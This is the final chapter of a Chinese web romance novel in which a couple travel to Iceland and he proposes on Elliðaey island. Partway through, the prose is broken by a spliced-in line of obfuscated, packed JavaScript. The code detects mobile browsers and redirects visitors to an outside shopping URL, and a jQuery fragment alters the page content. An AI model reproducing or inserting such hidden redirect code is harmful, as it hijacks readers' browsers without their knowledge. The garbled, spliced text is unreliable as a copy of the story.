69. 第六十九章【正文完】
作品:《离雨迷途[破镜重圆]》 清晨的光线,从没拉严实的窗帘缝中,慢慢地渗进来。
漫过床位,又沿着被子的褶皱往上爬。
半梦半醒间,她感觉到了,腰上有什么东西,沉沉的,带着重量。
意识渐渐回笼,她愣了一瞬。
随后她掀起被子一看,一截精壮的小臂。
这还有什么不明白的,温知吟挪了挪,回头看。
身后之人的呼吸很均匀,又长又缓,气流拂过她的颈后的发丝,一阵苏痒。
柯靳怎么睡到她床上来了!她昨晚忘记锁门了吗?
不行,得赶在他醒来前,赶紧撤退。
她刚掀开被子一角,小心翼翼地拉开那只手。
肩膀稍稍挪了一点,头从枕头上抬了起来,手肘正准备使劲翻身下床。
几乎就在同一瞬间,腰间被一股力道禁锢,那截精悍的小臂又将她拽了回去。
柯靳不知道什么时候醒了。
他的鼻尖在温知吟头上蹭了蹭,声音沙哑,“别动,再睡会儿。”
温知吟愣神几秒,将手伸进被子里,掐他手上的肉,“你什么时候进我房间的?”
柯靳“嘶”了一声,声音带着刚睡醒的迷糊,闷闷地穿过发丝,落入她的耳中,说她:“你昨晚上梦游,非要跟我一起睡。”
她迷惑地眨眨眼,确认房间的装修,这人简直青天白日说梦话,“忽悠我?你看看清,这里是我房间。”
“嗯。”他装作听不懂,只是将她抱得更紧,“那就是我梦游。”
温知吟不听他的胡扯,扭过头,“松开。”
那人非但没有减弱力气,反而那只在她腰际的手,使了点劲更加往他的怀中扯,“不松。”
温知吟扭着身体,在他身前胡乱踹着,两只手去掰柯靳的手指头。
大早上来这么一场自由搏击,她的背后已经隐隐冒出一层薄汗。
忽然。
柯靳哼声,嗓音低喘,“别动。”语气不似方才的游刃有余,反而让她感受到更多是...隐忍。
温知吟静了下来。
才发觉,有一处温热的热源抵在她的后脊,透过衣物直传到她身体内。
愣神了片刻,她意识到那是什么,顿时脑海中一片空白。
之前在网络上刷到过,据说男生早上会......
所以,那个东西。
“对不起,我不是故意的......”温知吟此刻仿佛处在荒漠荆棘中,动一步就要粉身碎骨。
“我去一趟卫生间。”身后的那人松开了手。
直到传来浴室的水流声,温知吟才敢大口呼吸。
她拉起被子,将半张脸埋进去,只剩下一双惊慌的眼睛。
她到底在做什么?
温知吟磨蹭地换好衣服,做好了万全的心理准备,才鼓起勇气走进客厅。
半小时过去,里面的水声依旧没停。
她走到冰箱准备早饭。
柯靳已经在悦澜湾待了两个多月了。
自从上次他在楼下小花园抱着温知吟哭了一场后,他就赖着不走了。
每一次问,每一次他都以“忙碌”作为借口,下次又下次,温知吟已经吃了无数个大饼了。
后来索性她不问了。
可柯靳口中所谓的忙碌,温知吟是一点都没有感受到。
早上她起床,早饭已经放在桌上。
晚上她下班,柯靳穿着围裙,在厨房做饭。
可以说,他搬进来后,在家里待的时间比她这个租客都要多。
温知吟又怎么会不知道他的心思,他就是单纯地不想走罢了,还找“工作忙”这么一个她无法催促拒绝的借口。
她把昨晚上定时熬得粥盛出来,又煎了几个饺子。
等她把东西端出来,浴室的声音也正好停止。
温知吟刚坐下,就看见浴室门推开,柯靳裹着一条浴巾走了出来。
她脱口而出,“去穿衣服。”
这次他却很听话。
柯靳边走边用毛巾擦着头发的水珠,“知道。你说过不喜欢家里出现裸男,我记得的。”
这不是刚才逃跑的匆忙,忘记拿换洗的衣服了。
毕竟原来的,已经沾上东西不能穿了。
他吹干头发后,从次卧换好衣服出来,“你可以帮我再买一套睡衣吗?两套有点不够。”
温知吟咬了一口饺子,拧眉看过去,“你自己不会买吗?”买衣服还要别人帮忙,再不济也有周逢在。
也不是温知吟不愿意,她确实没有购买男装的经验。
“你眼光好。”柯靳捧她。
温知吟放下筷子,无言以对,有一种太监逛青楼的无力感。
这个理由还可以再无理又荒唐一点吗?
她啼笑皆非,“那你喜欢什么样子的?”
柯靳故作思考,不经意提到:“我觉得你这一周穿的那一套...材质跟款式都不错,你帮我买一款同样的吧。”
“你想跟我穿情侣装?”温知吟瞬间领悟他话中的含义。
这哪是不会买衣服,分明埋藏着他的小心机。
“这可是你说的,我没有那个意思。”柯靳眼尾一挑,使坏道。
温知吟心想,以前怎么没有发现这人这么腹黑呢?明明他有求于人,却如此理直气壮。
“原来是我误会。”她恍然大悟道:“那家店已经倒闭了,买不到同样的。”
柯靳二话不说就拿出手机,问她:“店名发给我,让周逢联系一下。”
温知吟:“?”
下午,带着几个行李箱,出发机场。
四月底,赶在五一放假前的一周,温知吟跟柯靳登上了前往冰岛的飞机。
不过同行的,并不是只有他们二人。
褚奚绫比他们提早两个星期出发英国,去探望移民英国的舅舅一家。
萧祁屿比他们早飞一班。而祁斯扬今天新剧刚刚杀青,最快只能赶上明天早上的飞机。
她当时在准备签证资料的时候,正好被褚奚绫看到,她便也嚷嚷着要去。
发誓绝对不打扰他们的二人世界,只是想要异国他乡有个照应。
而另外两人也不知道怎么就知道了这个消息。
这个队伍在逐步壮大。
可反常的是,柯靳却没有感到丝毫的不爽。
毕竟以她的了解,这人虽然脾气很柔和,但在涉及她的事情上,是分步不让。这么明晃晃的电灯泡,罕见的,他一点点不快的都没有。
只是很冷淡地说了一句,“随便。”
以至于那几天,温知吟总是有意无意地观察他的状态,怀疑是被人上身了。
飞机划过天际线,落地凯夫拉维克机场的时候。
乘坐专车前往二十公里外的蓝湖温泉酒店,长途飞行带来的腰酸背疼,让温知吟此时只想躺在床上。
“后悔了,都怪你给我分享博主剪辑的冰岛vlog。”温知吟学着柯靳的样子,将疲劳下的抱怨,都转移给他。
柯靳在她身边躺下,握住她的手安抚,“不能后悔,我做了好久的计划。”
冰岛景点丰富。
黑沙滩、钻石沙滩、维克教堂、瓦特纳冰川...行程的最后一站,在位于南部的岛屿—埃德利扎岛,“世界上最孤独的房子”。
在冰岛的最后一天,是个万里无云的晴天,也是难得的晴朗。
上午吃过早饭前往西人岛,与埃德利扎岛岛主一家汇合。
埃德利扎岛是家族私人所有,每年夏天,岛主一家都会上岛度假。岛上唯一的一座屋子,是为了捕猎海鹦鹉,度过寒冷的冬日所建。
乘坐小船从西人岛出发。
岛上的绿草如茵,覆盖着起伏的山崖。其中最引人注目,是矗立在山坡上的一座白色小屋。
它孤零零地面朝大海,像是一位沉默的守护者。
登上这座小岛,温知吟被风吹得睁不开眼
海鹦鹉从北大西洋返回,在冰岛繁衍驻扎。
仰头望去,张着翅膀的海鹦鹉在头顶盘旋飞翔,密密麻麻地落在远处的绿草地。
行驶过程中,可见悬崖上细密的白点,便是鸟蛋,掏鸟蛋也是维基人的生存方式之一。
风依旧,卷起温知吟的发丝,灌进她敞开的外套中。
但那股喧闹仿佛被什么东西隔绝掉,踩着脚下厚厚的草地,耳畔奏响着海浪拍打悬崖的轰鸣,如同世界的心跳。
心中的空缺被一股宁静填满,站在脚下的这一片土壤,有一种轻盈的、无所求的愉悦。
祁斯扬举着手持相机,很罕见的,没有在草地上爆冲。
好似有一种错觉,温知吟从他的脸上读出了一种情绪,紧张。
她只当做他是对眼前之景的震撼。
岛主一家先进了屋子收拾东西。
褚奚绫拉着她,说一定要在埃德利扎岛上出片,在朋友圈好好晒晒。
“温温,你的技术自不必多说,给我来个三四百张差不多了。”
温知吟接过相机,随口问:“你们要吗?今天不收费。”
平时最为捧场的兄弟两人,连连拒绝。
萧祁屿:“今早起得太匆忙,造型没做好。”
祁斯扬:“上岛的时候被海浪吓到了,我先缓缓。”
她又转头,问身边人,“你要吗?”
柯靳接过她的包,点头,话语中有些囫囵:“我跟你一起拍。”
他一只手踹在兜里,退到了一边,给她们腾地方。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439579|197362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温知吟专心地帮她构图,说着就要换一个方向。
褚奚绫连忙跑向她,将她的头掰了回来,“我又想到几个动作。”
随后,她称要再想想pose再换背景。
温知吟准备调出照片给她看,却听到她说:“柯总快来,我给你们拍情侣合照,我现在手感火热。”
温知吟都没反应过来,手里的相机就被褚奚绫夺了回去,被推着往前走。
“你背过身去,我觉得背影照非常有氛围。”她说。
“好。”温知吟照做。
“你现在这个位置的光线非常好,不要动哈。”
风似乎更大了些,吹得她的发丝缠在唇边。
等了两分钟,柯靳却迟迟没有站上来,温知吟催了一声,“好了吗?”
她自顾自地甩手解闷,心想这人什么时候又这么重的偶像包袱了。
过了一会儿,她又问了一句,“柯靳,你好了吗?”
没有回应。
不对劲。
温知吟的心里泛起一丝异样的感觉,柯靳从不是个墨迹的人,无论是何时何地,他都会应答。
风声中,她似乎听到了另一种很轻的声音,有东西压在绿草上,发出闷响的一声。
她的心猛地跳了一下。
然后她回过了头。
世界在这一刻被按下了静音键。
目光向下,柯靳单膝跪下,风把他的头发吹得微微凌乱,可他挺拔的姿态却丝毫没有动摇。
他的左手不知何时多了一个深蓝色的丝绒盒子。
盒子里的一枚钻戒,在冰岛稀薄的日光下,折射出冷冽纯粹的耀光。
温知吟的脑子一瞬间空白了。
她张了张嘴想说什么,可嗓子里像是被什么东西堵住了,发不出任何声音。
她只是怔怔地看着眼前人。
这个任何时候都泰然自若、沉稳平静的人,也在此时,喉结上下微微滚动了一下。
那一双深不见底的黑渊,慌乱与紧张浮现。
“温知吟。”他开口,嗓音低沉。有一些被吹散在风里,却依然字字清晰。
“我知道你不喜欢热闹、不喜欢被关注。思来想去,我还是决定在冰岛,这个你喜欢的地方,有你最亲近的朋友见证。”
他的嘴角微微勾了一下,是一个极淡的笑。
“求婚这件事,我没有十足的把握,现在应该是我这辈子最没有底气的时刻。”
温知吟紧咬着唇,瞬间红了眼眶。
“我知道或许对你来说,会显得突然仓促,我应该再等等,可是我等不了了。”
“缺失的那三年,你愿不愿意给我一个机会,让我弥补。”
“人都有脆弱,今后的每一步,我都会陪伴在你身侧,直至走到生命尽头。”
她的眼泪终于落了下来,一颗颗砸在厚沉的土壤上。
他望着她的眼睛,手在颤抖。
“温知吟,你愿意嫁给我吗?”他将一颗真心毫不保留的奉上,只祈求可以得到她的首肯。
从过去到现在,整整十四年的时光。
他们是家人、是朋友、是恋人,经历过青春期叛逆的冷战,经历过少年心动的纯真。
如果没有这些与她之间鲜活的回忆,他根本走不出那个冬天,走不出那个狂风骤雨的夜晚。
每一个伦敦阴雨连绵的日子里,被刻进骨子里的记忆总是带着伤痛。
她总是会想起那个晚上,她的无可奈何,她的义无反顾。
她启唇,哽咽道:“我愿意。”
柯靳愣了一下,眼中的欣喜掩盖不住,他手忙脚乱的起身,高大的身影挡住了风口。
他取出那枚戒指,执起她的右手,动作轻缓而郑重地推上她的无名指。
笑与泪交融。
他低头,吻了吻她带着戒指的手指。
“谢谢你。”他眼中泪滴闪烁,他揽紧她,比以往都更加珍惜。
命运轻描淡写的一笔,写就了两个人断绝联系的异国他乡,互相惦念却难以靠近的三年。
所有的伪装和假象,在重逢的第一面,悄无声息地破裂。
那一千多个日日夜夜,伴着思念入睡,总期待爱人能入梦中。
温知吟更加用力地抱紧他。
在世界的尽头,他们找到了心脏跳动的方向。
“温知吟,我爱你,很爱很爱你。”
“我也爱你。”
缠绕在指尖的那一根红线,经得起岁月磨砺、世事变迁,也已然坚不可摧。
从京和到埃德利扎岛,云卷过八千里。
每一个巧合,都是念念不忘。
-全文完-
2026.4.12
晋江文学城

